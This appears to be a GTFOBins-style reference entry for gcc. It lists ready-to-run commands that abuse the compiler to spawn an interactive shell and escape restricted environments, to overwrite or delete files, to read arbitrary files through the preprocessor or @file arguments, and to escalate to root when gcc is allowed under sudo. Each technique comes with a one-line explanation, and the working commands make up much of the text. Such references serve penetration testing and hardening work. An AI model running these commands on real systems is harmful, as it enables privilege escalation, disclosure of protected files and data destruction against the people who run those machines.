It can be used to break out from restricted environments by spawning an interactive system shell.
gcc -wrapper /bin/sh,-s .
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_delete
gcc -xc /dev/null -o $LFILE
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read
gcc -x c -E "$LFILE"
The file is read and parsed as a list of files (one per line), the content is disaplyed as error messages, thus this might not be suitable to read arbitrary data.
LFILE=file_to_read
gcc @"$LFILE"
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo gcc -wrapper /bin/sh,-s .